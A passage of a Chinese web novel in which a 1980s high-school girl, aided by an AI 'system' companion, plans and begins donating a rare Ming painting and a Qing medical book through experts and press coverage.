可理智的安抚压不住心底漫上的、近乎本能的不安。那是一种渺小的个体骤然与过于沉重的历史遗产相连时,产生的战栗与保护欲,贵重到她容不得半分闪失。 时间一分一秒过去。时墨罕见地无法集中精力在习题上。连下课去厕所都能忍着,就这么硬生生憋着,从下午上课憋到快两节课,实在憋得受不了,才举手,打报告:“老师,我想去趟厕所。” “快去快回。” 时墨立刻起身,出了教室,狂奔进厕所,以最快的速度解决后,拧开冷水拍了拍脸,看着镜子里自己紧绷的脸又拍了两下,再次深呼吸,缓缓恢复平静。 稳住心神后,快步回到教室。经过自己座位时,目光飞快地扫过那个被练习册挡住的抽屉角落——原封不动。她悄悄松了口气,坐了下来。 晚上放学,时墨走出校门,时爱国已经蹬着那辆二八大杠在等了。 “墨墨,今天咋出来晚了几分钟?”时爱国接过女儿的书包,习惯性地想往车把上挂。 “爸!”时墨声音不自觉地提高,一把抢回书包,抱在怀里,“今天书包重,我抱着就行。” 时爱国有些诧异,看了女儿一眼,觉得她脸色似乎不大好,但也没多想:“ 成,那你坐稳了,抱好。” 一路上,时墨几乎没说话,只是紧紧抱着书包,一刻也不放松。 到了家属院楼下,时墨跳下车,对时爱国催促道:“爸,赶紧上楼,我有重要的事说。” 时爱国心里咯噔一下。果然孩子出事了! 他锁好车,跟着脚步匆匆的女儿上了楼。 一进家门,时墨立刻反锁好门锁,神色郑重:“爸,妈,哥,你们都过来,我开个家庭会议。” 时爱国刚摘下帽子,李秀兰放下手中的钩针,看到女儿异常严肃紧绷的小脸心里也提了起来:“咋了墨墨?出啥事了?是不是在学校受委屈了?” 时建军手里还攥着复习的草稿纸,这会儿也被时墨这严肃的模样吓了一跳,“妹,是不是有人欺负你?我去找他!” 时爱国也保证道:“墨墨,你放心有啥事不用怕,天塌下来有爸顶着。” 看着家人关切的眼神,时墨心里一暖。 她本想将《繁秋山野图》的事和盘托出,可话到嘴边,又硬生生咽了回去。 家属院人多眼杂,邻里最爱串门唠嗑,父母哥哥都是实在人,万一哪天不小心说漏嘴,消息传出去,不仅宝贝不保,还可能给家里招来祸事。 “墨墨,到底啥事?别怕,跟爸妈说。”李秀兰握住女儿有些冰凉的手。 时墨压下心头的波澜,打开了书包,先拿出了那套用报纸包着的《济世良方辑要》,小心地拆开,声音沉稳:“我今天去参加了一个旧物交流会,拍下了这套清代御医手抄的医书,是真东西,有大价值。” 时墨将医书推到桌子中间。 “医书?”时建军拿起一本翻了翻,“这字倒是挺工整,可都破成这样了,买它干啥?” “哥,这不是普通的旧书。”时墨指着上面的文字和版式,“这是清代的木刻本,是一位地方医官的医术汇编,里面很多方子和案例,对现在研究中医可能还有用。它算是古籍,有一定文物价值。” “文物?”时爱国也好奇凑近看了看,他不懂医,也不懂文物,但“文物”两个字还是让他肃然起敬,“就是说……这是古董?” “可以这么说。”时墨点头,“虽然不算特别珍贵,但也是值得保存的老物件。” 李秀兰轻轻摸着书页,担忧道:“墨墨,这既然是古董,还是医书,能救人治病的东西,咱们自己留着……合适吗?是不是该交给国家?交给图书馆或者医学院啥的?” 时建军附和道:“对啊,妹,这要是真有价值,放在咱家是不是浪费了?万一被虫蛀了,或者不小心毁了,多可惜。本来就够破了。” 时爱国沉吟道:“你妈和你哥说得有道理。这东西,如果对国家、对老百姓有用,咱不能藏私。不过……这是墨墨花钱买的,咱们也得听听墨墨的想法。” 家人的淳朴善良,从来没让她失望过。 现在的人们,普遍有着朴素的集体主义观念和爱国热情,认为有价值的东西应该上交国家,是再正常不过的想法。 她心中温暖,也更坚定了暂时隐瞒古画的念头。画的事太重大,牵扯的不仅仅是价值,还有未来的保管、可能引发的风波,甚至安全问题。 她需要时间独自思考,也需要系统的帮助来寻找最稳妥的方案。 “爸妈,大哥,你们说的对。”时墨顺着他们的话说,“这套医书,我的想法也是捐出去。不过捐之前,我想把里面的内容完整的复印一份留下来,咱们自己也能学习参考,也算是留下个纪念。原件捐给国家的医学院或者中医研究机构,才能发挥最大的作用。” 这个提议合情合理,家人都点头赞同。 “那另外一件东西是啥?”时建军好奇地问。 时墨顿了一下:“是一幅旧画,也是无款无名,看着古朴,我就一起买回来了。不过那画品相更差些,价值可能还不如这套医书。”她故意轻描淡写,“我就自己留着玩了。” 听到价值不大,家人也就不再追问。李秀兰只是叮嘱:“墨墨,你喜欢这些老物件,妈不反对,但千万别影响学习,也别乱花钱。还有,这些东西你自己收好,别到处摆着。咱家虽然没啥值钱东西,但小心总没错。” “妈,你放心,我都放自己屋里,锁好。”时墨保证道,然后看向家人,语气格外认真,“爸妈,还有件事。我屋里这些旧书旧画,虽说可能不值大钱,但也是我的心爱之物。以后不管谁来咱家串门,最多在门口看看,谁也不能碰,更不能往外说我有这些老物件。” 这个要求放在平时可能有点突兀,但结合刚才“古董”、“文物”的说法,家人立刻理解了。 时爱国点头:“行,爸知道了。回头我跟常来串门的老刘、老王他们也打个招呼,说你现在学习紧,屋里都是复习资料,让他们别进去打扰你。” 李秀兰连忙点头:“放心!你那屋妈从来不让外人进,平时连窗户都给你关严实,保证没人碰!”想了想又说,“妈给你缝个厚实点的新门帘挂上。” 时建军拍拍胸脯:“妹,你放心,哥在家就帮你看着不让别人进!” 家人的支持让时墨心头暖暖的,紧绷的神经稍微放松了些。 家庭会议结束,李秀兰继续去做饭,时爱国和时建军也各忙各的。时墨回到自己房间,关上门,背靠着门板,长长地、无声地吐出一口气。 她轻轻从书包最底层拿出那个旧木匣,放在书桌上。昏黄的台灯光线下,木匣陈旧安静。 她伸出手,指尖悬在匣盖上,却迟迟没有打开。 捐出去吗? 像家人对医书的态度一样,将这幅国宝交给国家博物馆,让它得到最专业的保护,在聚光灯下向世人展现它的辉煌?这无疑是最“正确”、最安全、也最能实现其文化价值的路径。 如果运作得当,经由媒体报道,甚至可能唤起社会对流失文物的关注,促进更多国宝回归。 可一想起后世被掉包的事件,便也怕会发生在她身上,不捐?她没有能力保存好。 两种念头在脑海里激烈冲撞,让她心乱如麻。 时墨知道自己现在的状态无法做出冷静决定。 轻轻将木匣锁进自己唯一带锁的抽屉里。 洗漱完毕,时墨躺在了床上。 黑暗中,她睁着眼睛,毫无睡意。 第27章 这一夜, 时墨睡得极浅。 醒来时,窗外天已微亮。 时墨听着窗外家属院早起的人推车声,摸了把脸, 起床。 她得等到九点系统上班, 才能有个商量的人, 以前早上这段时间都是匆匆忙忙过得如流水, 今天难得觉得度秒如年。 上午第二节语文课。 老教师站在讲台上,捧着课本讲《岳阳楼》,粉笔灰在透过窗户的阳光里飘飞,教室里只有翻书声和写字声。 【宿主,早上好哇!】 时墨坐得笔直, 笔尖在练习册上工整地记着笔记, 目光紧盯黑板,看似全神贯注听课, 实则所有心神都沉在了脑海里。 【宿主, 检测到你昨晚休息质量偏低,深睡眠时长仅2.7小时, 建议——】 【小七, 我需要你帮我做一个完整的分析, 《繁秋山野图》到底该怎么处理最合适。】时墨打断系统的睡眠建议, 严肃道。 【收到指令, 开始接收信息。】 时墨深吸一口气,语气郑重道:【这幅画,是明代吴门画派唐周的真迹《繁秋山野图》, 国家一级文物。】时墨望着黑板,眼神平静,【后世被列入禁止出境展览的国宝, 市场价值能到几十亿。它不是普通古画,是六百年的文脉,是民族的宝贝。】 【我当年在博物馆看到它的时候,隔着玻璃柜,打最专业的灯光,恒温恒湿。普通人想看一眼,要排队、预约、隔着警戒线远远地望。】 【而我在这个时代,花了六百块,从一间不起眼的私人小会上,把它抱回来了。】 【六百块。】时墨重复了一遍这个数字,嘴角动了动,说不清是想笑还是别的什么。 【像白捡的一样。】 教室前排,有个同学扭头借橡皮,时墨若无其事地递过去。 等人转回去,她才继续。 【但我捡到它的时候,心里不是高兴。是怕。】 【怕什么?】系统问。 时墨沉默了很久。 窗外的梧桐叶被风吹动,在玻璃上投下一晃一晃的影。 【怕它折在我手里。】 时墨说出这句话,心头像有什么东西轻轻落了下去。 【它不是我的。它只是借我的手,在这个时代、这个机缘,让我替它走一段路。我不能让它在我这儿出事,我没有能力保存好它。】 系统在试图理解宿主的“怕”。它的数据库里有关于恐惧的定义,对危险的应激反应,神经系统的自我保护机制。可宿主说的“怕”,似乎不是这个意思。 那是一种它无法量化的东西。 【所以你想把它捐出去。】系统说。 【是。】时墨没有犹豫,说出心底最沉的顾虑:【我想捐,可现在的文物管理还不完善,基层文物站懂行的人少,我怕直接捐过去,被人当成普通旧画处理,甚至被经手人私吞、倒卖给外人;我也怕自己现在只是一个高中生,直接找国家文物局,太突兀,会被当成骗子,根本没人理会;要是匿名捐,连个凭证都没有,最后画去哪了都不知道,白费功夫;可公开捐,又怕消息传太快,给家里招祸。】 【我想让它得到最好的保管,想让它公之于众,让更多人知道国宝的价值,唤起大家保护文物的意识,可我怕一步错,步步错。】 【你不觉得奇怪吗?】时墨说,【这么重要的东西,会出现在一个普通的小型交流会上,标价两百块还没人要?】 系统迅速调取当时现场的多维记录。 【持有者身份未知,经手人介绍语焉不详。按照概率模型分析,约82%可能是原持有者不知其真实价值,约13%可能是来历不明急于脱手——】 【所以,】时墨打断它,【它要是悄没声息地“消失”了,捐给哪个单位、被谁经手、最后进了哪间库房——没人知道,也没人在乎。那和它继续被我锁在柜子里,有什么区别?】 系统没有立刻回答。 它在运算宿主这段话背后的潜台词,运算这个时代文物捐赠的制度漏洞,运算如果按照最简单的“直接上交”流程,这幅画可能经历什么—— 接收登记。 入库。 等待鉴定。 等待评级。 等待排期修复。 等待被想起来。 三年五年,十年八年。 或许某天库房盘点,会有人惊讶地问:这是什么时候收进来的? 【我明白了。你不需要它成为一个编号。你需要它被看见,被重视,被放在一个它该在的位置上——并且,让所有人知道,它的由来,它在哪儿。】 时墨的笔尖停住了。 【对!】 窗外起了一阵风。 时墨望着映照在桌面上那片晃动的树影微微笑了。 【信息接收完毕,开始结合1980年代中期的社会制度、行政流程、文物保护体系现状、宿主身份、安全系数、效益最大化,进行全方位数据分析。】系统的声音开始变得严谨,【倒计时10秒,生成最优方案……10、9……3、2、1,方案生成完毕。】 【共生成三套方案,否决两套,最优解为方案三:权威引荐+实名捐赠+公开仪式,风险最低,社会效益最大化。】 时墨攥笔的手突然握紧,压着心跳问:【详细说。】 【方案一:匿名捐赠当地文物站——风险等级五星。基层鉴定能力不足,极易将国宝判定为普通古画,存在流失、私吞、倒卖风险,无任何社会效益,直接否决。】 【方案二:自行写信至国家文物局——风险等级三星半。宿主为高中生,无权威身份背书,信件易被当作无效信息忽略,流程繁琐耗时数月,无安全保障,否决。】 【方案三:文化界权威引荐+实名捐赠+国家级媒体公开仪式——风险等级一星,完美匹配宿主需求。】 系统顿了顿:【此路径综合复杂度最高,需多方协调;但若成功,可实现宿主核心诉求——使该画获得最高级别的重视与公开,最大限度避免被湮没。】 时墨没有任何犹豫:【我选方案三,生产具体方案。】 系统调出一整页密密麻麻的时间线。 【1. 人脉依托:通过聚贤斋孙老、唐老引荐,二人是京城资深民间藏家,与首都博物院文物鉴定组、国家文物局文史专家有直接私交,由他们引荐,合情合理,绝不突兀; 2. 身份加持:宿主是《青年报》官方报道的见义勇为模范、市一中优秀学生,身份正面干净,实名捐赠无任何安全隐患,官方会高度重视; 3. 执行步骤:第一步,先将清代《济世良方辑要》医书,捐赠给市中医研究所,积累正面口碑,打牢基础;第二步,向孙老、唐老坦言无款古画“疑似珍品”,请求引荐故宫专家鉴定;第三步,官方鉴定为真迹后,与国家文物局、故宫博物院签订捐赠协议,明确要求文物入藏故宫永久保管;第四步,邀请《青年报》《北京日报》、北京电视台参与报道,举办小型捐赠仪式; 4. 安全保障:全程有民间藏家、官方专家、主流媒体三方见证,彻底杜绝暗箱操作、文物倒卖风险,宿主及家人无任何安全隐患; 5. 社会效益:媒体报道后,能唤醒全民文物保护意识,引导民间流失国宝回归公立馆藏,实现这幅画的最大价值。】 时墨惊讶道:【孙老?】 系统以为时墨要孙老信息,立刻调出:【孙老社会关系网络扫描:据观察记录及信息交叉比对,孙老与宋正先先生相交三十年。宋正先,时任国家历史博物馆文物征集委员会委员、国家文物鉴定委员会委员。其人在系统档案中,被誉为“八十年代古书画鉴定界执牛耳者”。】 【宋正先?】时墨被这大牛震撼到了。 【宋正先同时兼任《古物》月刊编委、国家博物馆学会常务理事。若由其出具鉴定意见,此画可直接进入国家级机构视野。且——】 系统顿了下。 【——宋正先素以提携后进、重视民间发现著称。1983年某藏家以三百元购得明代佚名山水,经其鉴定为仇英早期真迹,后由国家博物院征集入藏,《首都日报》曾作专题报道。】 时墨的呼吸停了一瞬:【所以,只要宋正先肯出鉴定……】 【则可通过其关系网络,联系至具备重大捐赠新闻发布能力的机构。如:国家历史博物馆、国家美术馆,或直接对接国家文物局。】 系统将逻辑链条推到最后一步。 【至此,捐赠环节可实现全流程公开。后续媒体报道、荣誉授予等衍生效益,将自然发生。】 系统的分析条理清晰,每一步都贴合八十年代的现实背景,把她所有的顾虑都堵得严严实实。 时墨悬了一整晚的心,终于彻底落了地。 她想起孙老把那方端砚塞进自己手里时,笑着说:“你收下,就当是我谢谢你提醒了我。” 她当时只是觉得,老爷子脾气来得快去得也快,倒是个爽利人。 却没想到,那条线能牵出这样的通路。 下课铃声骤然响起,打断了脑海里的对话。 前桌孙晓梅凑过来:“时墨,你笔记能借我抄抄嘛?” “好啊。”时墨笑着把本子递过去,脸上云淡风轻,眼底却藏着释然的光亮。 她低头看着课本上“先天下之忧而忧”的字句,嘴角悄悄勾起一抹淡笑。 最好的路,系统已推算完毕。 国宝,该回到它的位置。 严肃的话题告已断落,系统提出疑惑:【宿主这或许是你能钻的最大漏洞,你确定这几十亿你不要了?】 时墨沉默良久。 她想起画卷徐徐展开:秋山如屏,繁林似盖。六百年前的笔墨安静地躺眼前,像什么都没经历过,又像什么都经历过了。 【它是华夏历史上浓墨重彩的一笔,不该属于我个人。】 【啊!!!啊——】 系统突然激动的尖叫打断了时墨沉重的感慨。 【我的宿主竟然拒了几十亿,几十亿,我要上报!立刻上报申请阶段性进步!!!】 【哈哈哈哈——我就说我的宿主不爱钱,他们全是污蔑!造谣!毁谤!】 【宿主,你等着,我去了!】 【……额。】系统好像对她有些误会—— 作者有话说:除夕啦!我是不是第一个祝大家除夕夜快乐的!祝大家2026福旺财旺运气旺,身体健康比啥都强! 第28章 周日一早, 时墨揣着昨晚写好的信,骑车去了邮局。 时墨以为自己来的够早了,没想到柜台前还排着五六个人, 有人寄包裹, 有人拍电报。时墨排在队尾, 手里攥着那封贴好八分钱邮票的信封, 封面工工整整写着:市中医研究所 收。 轮到她时,柜台里的中年女人抬眼看了看:“寄信?” “对,挂号信。”时墨把信递进去。 女人称了称,在挂号簿上登记,撕下回执递过来:“拿好了, 丢了凭这个查。” “好, 谢谢。”时墨接过那张小纸片,小心折好放进口袋。 走出邮局, 秋阳正好。 时墨站在台阶上, 看着绿色邮车正在倒车,绕开后, 蹬上车, 往聚贤斋骑去。 * 聚贤斋的门虚掩着。 时墨礼貌叩了两下, 推门进去。院子里, 唐老师正蹲在石榴树下修剪枝叶, 见是她,笑着起身:“时墨来了?今天怎么有空?” “唐老师好,孙老在吗?” “在在在, 屋里跟老陈下棋呢。”唐老师朝正房努努嘴,“进去吧。” 时墨穿过院子,在正房门口站定。屋里, 孙老和老陈正对坐在八仙桌两侧,棋盘上黑白纵横,战况正酣。 “孙老。”她轻声唤道。 孙老抬头,见是她,脸上笑盈盈招呼道:“小墨?快来快来!”他把手里的棋子一放,“老陈,不下了不下了,小墨来了。” 老陈笑骂:“你这老东西,输棋就找借口。” 时墨笑着走进去,在旁边的椅子上坐下。孙老给她倒了杯茶,关切地问:“今天怎么有空过来?医书的事办妥了?” “还没,我之前上课没看,今早刚给中医研究所寄了信,等他们联系我。”时墨接过茶,目光在两位老人脸上转了一圈,斟酌着开口,“孙老,我今天来,是有件重要的事想跟您说。” 孙老见她神色郑重,放下茶杯:“什么事?你说。” 时墨缓缓开口:“是关于上周我拍下的那幅画。” “那幅无款的?”老陈也来了兴趣,“怎么,看出名堂了?” “是。”时墨指尖轻轻攥了攥,抬眼看向两人,一字一句道,“这几天我反复研究,对照着古籍里的笔法、绢质细看,心里有了个大胆的猜测——这画,恐怕不是普通吴门画派作品,我怀疑,它是唐周的《繁秋山野图》。” 话音落下,屋里静得可怕。 “哐当”一声,孙老手里的茶盏磕在桌上,茶水溅出半滴 老陈的棋子从指间滑落,啪嗒一声砸在棋盘上。 “什么?”孙老声音都变了调,“唐周?那个唐周?!” “明代吴门画派的唐周?”老陈腾地站起来,“小墨,这话可不能乱说!” 唐老师听到几人谈话走了进来,眼神里满是震惊:“时墨,这事可不是闹着玩的,无款古画断代难,辨人更难。” 时墨早有准备,语气笃定道:“我知道这听起来像天方夜谭。但前辈,您们仔细想想——那幅画的笔法,那山石的层次,那云水的留白,那种扑面而来的气韵,真的是普通吴门画派能做到的吗?” 孙老张了张嘴,说不出话,努力回忆当天的场景。 他想起那天展开画轴时,自己心里曾掠过的一丝异样——那山,那树,那若有若无的题跋痕迹……可他当时只当是无款画,没往深处想。 “你有几分把握?”老陈盯着她,声音发紧。 时墨沉默片刻:“九分。” 九分。 这个数字像块石头砸进水里,激得三人面面相觑。 “画呢?”孙老急切地问,“带来了吗?” 时墨摇头,解释道:“没有。我不是不信任各位前辈,而且我不敢带。一是怕路上有个闪失,磕了碰了;二是……”她顿了顿,“这画年头久远,绢面脆,来回折腾怕有损坏,等确定了要找专家鉴定,我再妥善取来更为稳妥。” 这话合情合理,几人都是玩收藏的,最懂珍惜老物件,瞬间明白了她的顾虑。 孙老明白,时墨是怕那脆弱的绢本经不起折腾。这种敬畏心,不是真正珍视文物的人,是装不出来的。 他慢慢坐回椅子上,手指无意识地敲着桌面,半晌,叹了口气:“你这丫头……你这丫头胆子也太大了。六百块钱,你就敢拍?” “当时只是觉得此画气韵不凡不能错过。”时墨如实道,“回来细看才越看越不对劲。” 老陈来回踱步,忽然停下:“老孙,你记不记得宋正先那回?八三年,有人三百块买的那幅山水,后来鉴定出来是仇英真迹。这事儿……” “对对对!”孙老一拍大腿,“宋正先!我怎么把他给忘了!” 他转向时墨,眼睛亮得惊人:“小墨,我有个老朋友,叫宋正先,是历史博物馆文物鉴定委员会的,全国书画鉴定这一行,他说第二没人敢说第一。要是能请动他看一眼绝对能断定真假。” 唐老也点头附和:“宋老眼毒心正,由他鉴定最稳妥。小墨,你这心思细,考虑得周全,没带画是对的,这宝贝可经不起半点闪失。” “我就是这个意思。”时墨接话,“我自己眼力有限,再怎么琢磨也只是猜测。如果能请真正的专家鉴定,是真是假,一锤定音。如果是真的,这幅画该去哪儿,该由谁保管,我心里才有底。” 孙老看着她,目光复杂。 这姑娘,才十八岁。 从认出赝品,到低价拍下疑似真迹,能沉住气不声张,直到今天来找他——每一步都踩在点子上,每一步都想在了前头。 换成其他如她这般年纪的人,早嚷嚷得恨不得满世界都知道,或者偷偷藏起来等升值。可她呢?想着的是“该去哪儿”“该由谁保管”。 “你放心。”孙老站起身,拍了拍她的肩,“这事儿我管到底。明天我就去找宋正先,他在东城有个小院,时常回去住。我把情况跟他说,看他什么时候方便。” 老陈补充道:“宋正先那人最重真东西,要是知道有这种可能,爬也要爬过来看。” 时墨心里的石头落下一半,起身郑重鞠了一躬:“麻烦孙老了。” “别别别!”孙老赶紧扶住她,“你这丫头,这是给我们这些老家伙送大礼呢。要是真……那我们在聚贤斋聊一辈子,也算没白聊。” 送时墨出门时,孙老忽然叫住她:“小墨,医书那事,你也抓紧办。两件事凑一块儿,说不定有好处。” 时墨心领神会:“嗯我知道,谢谢孙老提醒,那我先回了。” “路上慢点骑,注意安全。” “好!” * 周一下午,第一节课刚上课,班主任就匆匆走进教室,朝她招手:“时墨,出来一下,校长室有人找。” 教室里的同学都好奇地望过来,时墨心里一动,猜到是中医研究所来人了。 推开校长室的门,里面坐着三个人。 校长坐在办公桌后,见她进来,笑着招手:“时墨同学,快来快来,这几位是市中医研究所的领导,专程来找你的。” 时墨看向那三人——为首的是个五十来岁,面容和善的中年男人;旁边是个三十出头的女同志,短发齐耳,拿着笔记本;还有个年轻人,像是司机或办事员。 “时墨同学你好,我姓周,是市中医研究所的副所长。”中年男人站起身,热情地伸出手,“收到你的信,我们研究所上下都很重视,今天就赶紧过来了。” 时墨握了握手,礼貌道:“周所长好,辛苦你们跑一趟。” “不辛苦不辛苦!”周所长笑呵呵的,“你说的是清代木刻本的《济世良方辑要》?这个书名我们在资料里见过,一直想找善本,可惜没找到。你能详细说说吗?” 时墨点点头:“是八册全的,清中期刻本,扉页有原收藏者的题跋,内容是一位姓陈的地方医官汇集的临床验方,涉及内科、外科、妇科、儿科,还有不少疫病防治的方子。书页有虫蛀,但内容基本完整。” 周所长眼睛越听越亮,和旁边的女同志交换了个眼神。 “时墨同学,书现在在哪儿?”周所长问道。 “在家里。”时墨笑着解释,“我怕天天带着万一有闪失,如果你们方便,明天可以约个时间,我把书带来学校,你们看看。” “方便方便!”周所长连忙说,“那我们明天下午这个时间过来?你看行吗?” “可以。” 送走中医研究所的人,校长把时墨叫住:“时墨,你等等。” 时墨站住。 校长背着手,在办公室里踱了两步,忽然问:“你那个医书,确定是清代的老东西?” “确定的,校长。” 校长点点头,沉吟片刻:“要是明天研究所的人看了满意,肯定会当场接收。” 时墨:“我料到了。” 老吴转过身看她:“你这次向国家捐赠珍贵古籍行为,是咱们学校的光荣,这事儿传出去,对你、对学校,都是好事。” 他顿了顿,又道:“《青年报》那个记者,你还记得吗?上次采访你的那个。” 时墨隐约想起那个拍照的记者:“记得。” “我回头让人联系他,明天下午请他过来。”老吴说,“要是真成了,现场拍几张照片,登个报。怎样,你没意见吧?” 时墨求之不得。 “公开”对她只有好处。 虽然不是国家级别的公开,但医书这一炮打响了,后面画的事就有了铺垫。 “我没意见。”她说,“都听校长的。” 校长满意地笑了:“好,你去上课吧,明天该怎么样就怎么样,别紧张。” * 第二天下午,两点半,中医研究所的人到了。 时墨提把用报纸包好的医书从书包里拿出来,放在校长室的茶几上。八册书整整齐齐摞在一起,泛黄的书脊透着岁月的沧桑。 这回除了周副所长和昨天那位女同志,还多了个头发花白的老者,穿着深灰色的中山装,戴一副老花镜,进门就盯着茶几上的书看。 “这位是我们研究所的陈老,专门研究中医古籍的。”周所长介绍。 陈老已经走过去,轻轻拿起最上面一册,翻开扉页,凑近了看。他看得很慢,每一页都翻得小心翼翼,仔细翻看上面的医方,偶尔用手指轻轻摩挲书页的边缘。 屋里没人说话,只有翻书的沙沙声。 过了足足十分钟,陈老抬起头,摘掉老花镜,眼眶竟然有些泛红。 “周所长。”他的声音微微发颤,“是清中期的木刻本,没错。这个版本我一直以为失传了,没想到……没想到还能见到全本。” 周所长眼睛一亮:“陈老,您确定?” “确定。”陈老看向时墨,目光里满是感激,“小同志,这本书对中医古籍研究意义重大。里面的很多方子,我们现在只闻其名不见其文,这回……这回可算找着了。” 正说着,校长室的门又被敲响了。 老吴起身开门,门外站着两个人——一个扛着相机的年轻男人,和一个拿着笔记本的女记者。正是《青年报》的方记者和他的同事。 “吴校长!”方记者热情地打招呼,“听说你们学校又有好事?” 老吴笑着把他们往里让:“来得正好来得正好,快进来。” 方记者一进门,看见茶几上的古书和几位研究所的人,立刻意识到有新闻。她冲时墨挤挤眼:“时墨同学,咱们又见面了。” 时墨笑着点点头。 接下来的一切,顺利得像排练过。 陈老当场确认了医书的真伪和价值,周副所长代表研究所,郑重向时墨表示感谢,并提出希望正式接收这批古籍。 《青年报》的记者小 李扛着相机,“咔嚓咔嚓”拍着照片,方记者笑着问:“时墨同学,你为什么想到把这么珍贵的医书捐出去呢?” 时墨笑得坦然:“这书是老祖宗留下的宝贝,能用来救人、研究,放到我手里只会掩盖它的光芒” 校长在一旁笑得合不拢嘴,不停夸:“时墨同学是我们学校的优秀学生,品德好,成绩优,一直都是同学们的榜样!” 正当交接仪式热热闹闹进行时,会议室的门被匆匆推开。 打头的是孙老,一身崭新的藏青中山装,头发梳得一丝不苟,脸上的表情既兴奋又紧张。他身后跟着一位清瘦的老者,满头银发,面容清癯,气度儒雅沉稳,一看就是学识渊博的大家。再后面,是唐老师。 “吴校长!”孙老嗓门洪亮,“我给你们学校送贵客来了!这位是——呃?” 他的话卡在嗓子眼里。 因为此刻,校长室里站着满满当当一屋子人——两个拿相机的记者,几个穿中山装的干部,茶几上还摆着刚收起来的帆布袋,一派热闹景象。 屋里的人也都转过头,看着门口这不请自来的三位老者。 时墨站在人群中央,看着孙老愣住的表情,和他身后那位银发老者若有所思的目光,心里只有一个念头——巧了,全撞一块儿了。 “孙老?”她连忙迎上去,“您怎么这时候来了?”—— 作者有话说:大年初一,爆竹声中辞旧岁,烟花满天迎新春! (碎碎念:好想放烟花,好想放烟花,好想放烟花……) 第29章 孙老这才回过神来, 看看屋里的人,又看看她,压低声音问:“你这儿……这是干什么呢?” “医书捐赠, 刚办完。”时墨也小声说, “《青年报》的记者来拍照。” 孙老的表情顿时变得微妙起来。 他身后那位银发老者忽然轻轻笑了, 声音温和:“老孙, 看来我们来得不巧?” “不不不!”孙老赶紧摆手,然后凑到时墨耳边,声音压得更低,“小墨,这位就是我跟你说的宋正先宋老。我好不容易把他请来, 想让他看看那画, 结果你这儿……这……” 时墨脑子转得飞快。 她抬起头,正对上那位银发老者的目光。对方打量着她, 眼神里没有被打扰的不耐, 反而带着几分兴味。 “宋老您好,我是时墨。”她微微欠身, 礼貌地问候, 然后转向孙老, 语气从容, “既然您们来了, 要不……先坐?这边刚结束,正好可以聊聊。” 孙老看看她,又看看宋正先, 再看看屋里那一群不明所以的人,一时不知道该怎么接话。 倒是宋正先开口了,依旧是不紧不慢的语气:“老孙, 你这小朋友倒是沉得住气。行,那就坐坐。” 他迈步走进校长室,目光扫过茶几上的空帆布袋,扫过那两个记者,最后落在时墨身上。 “老孙把你夸得天上有地下无。”宋正先眼里带着淡淡的笑意,“说你一眼认出赝品,还说你在交流会上低价拍到一幅画,怀疑是真迹——又说你沉得住气,没声张,先来找他商量。” 他顿了顿,语气里多了一丝认真:“现在看你这边的阵仗,我倒有点好奇了——那幅画,是不是比这医书,还要有意思?” 时墨迎着那道目光,没有躲闪。 “宋老。”她说,“医书已经在这儿了,您随时可以看。那幅画,我明天带来,请您过目。” 屋里静了一瞬。 宋正先看着她,忽然笑了:“择日不如撞日,今天若是有空,我们可直接去你家拜访。” 去家里? 时墨下意识看向孙老,孙老冲她点点头,眼神里满是“放心”的意味。 时墨又看向屋里其他人,不料几人全都竖着耳朵,目光在她和宋正先之间来回转。 “宋老,您稍等。”时墨转过身,对周副所长歉意地笑笑,“周所长,今天这事儿有点突发,我……” “没关系没关系!”周副所长连忙摆手,他在文博系统待了半辈子,宋正先的名字如雷贯耳——那是国内书画鉴定界的定海神针,等闲不出山,今天竟然为了一幅画亲自过来,这画的分量可想而知。 陈老率先开口,语气里带着按捺不住的好奇:“时墨小同志,我们今天也没别的安排,要是不麻烦的话,我们也想跟着开开眼界,长长见识。” 方记者更直接,她已经凑到孙老跟前,压低声音问:“老爷子,这位宋老是……?” 孙老看了眼宋正先,见他微微点头,才开口道:“宋正先,历史博物馆文物鉴定委员会的。” 方记者倒吸一口凉气。 她虽然不懂书画,但“历史博物馆”“文物鉴定委员会”这几个字砸下来,分量多重她心里门清。 “那幅画……”她的声音都变了调,“比这医书还厉害?” 孙老没答话,只是意味深长地笑了笑。 时墨看向校长。 方记者立刻往前半步:“吴校长,时墨同学,我们报社正好要做一期青少年文物保护的专题,今天这事儿太有代表性了,您看我们能不能跟着一起,把整个事迹完整记录下来?绝对不添乱!” “去!都去!”吴校长这会儿已经激动得满脸放光,大手一挥直接给她批了剩下半天的假,转头就握住宋正先的手,满脸恭敬:“宋老!久仰大名久仰大名!没想到今天能见到您这位大家!时墨是我们学校的学生,她的事就是我们学校的事,我跟你们一起去,也好有个照应!” 时墨:“……” 孙老看着一屋子人都要跟着去,先是愣了愣,随即也笑了——人多更好,人多眼杂,反而能把这事摊在阳光下,省得后续有什么是非。 他拍了拍宋正先的胳膊:“老宋,你看,我们这队伍可是越来越壮大了。” 宋正先看着时墨,见她脸上半点慌乱都没有,依旧是那副从容淡定的模样,眼里的欣赏又多了几分,笑着点头:“无妨,都是爱文物的人,一起看看也好。” * 二十分钟后,红星机械厂家属院门口,一溜车停了下来。 打头的是宋老的黑色上海牌轿车;中医研究所的小面包车紧跟其后。 车刚停稳,就看见李秀兰拎着菜篮子从拐角处走过来。 她看着楼下停着两辆小轿车,乌泱泱下来一群人,领头的竟然是自己女儿,脚步顿了一下,随即加快走过来,上下扫了一眼见闺女好好的,悬着的心先落了一半:“墨墨,怎么回事?带这么多同志回家?” “妈,进屋再说,是好事。”时墨接过菜篮子,压低声音,“都是文博系统和学校的老师、领导,还有报社的记者同志。” 李秀兰没再多问,目光快速扫过这群人,心里有了数:“行,那先上楼。” 她冲众人点点头,客气地笑了笑,在前头带路:“同志们跟我来,楼里光线暗,脚下留神。” 一群人呼啦啦涌进时家那间不大的小三居。客厅一下子挤进来十来个人,瞬间显得逼仄许多。 李秀兰把手里的菜篮子往门口一放,先笑着冲众人扬了扬声:“各位同志快别站着,地方窄,大家多担待,能坐的先坐!” 话音落,她转身就进了厨房,从碗柜里翻出十几个茶杯,水龙头开得哗哗响,洗杯子、擦杯壁、倒晾好的白开水,动作麻利得不带一点拖泥带水,十几秒就端出来花色不一样的杯子。一边倒水一边笑着招呼:“杯子不够用,我拿几个搪瓷缸替上,别嫌弃啊。” 没等凳子不够用,她已经敲开隔壁邻居的门,大大方方借了三把凳子回来:“家里地方小,委屈大家挤挤了。” 时墨没急着拿画,先把客厅的方桌擦了三遍,又找了块干净的白粗布仔仔细细铺在木桌上,连一点褶皱都抚平了。 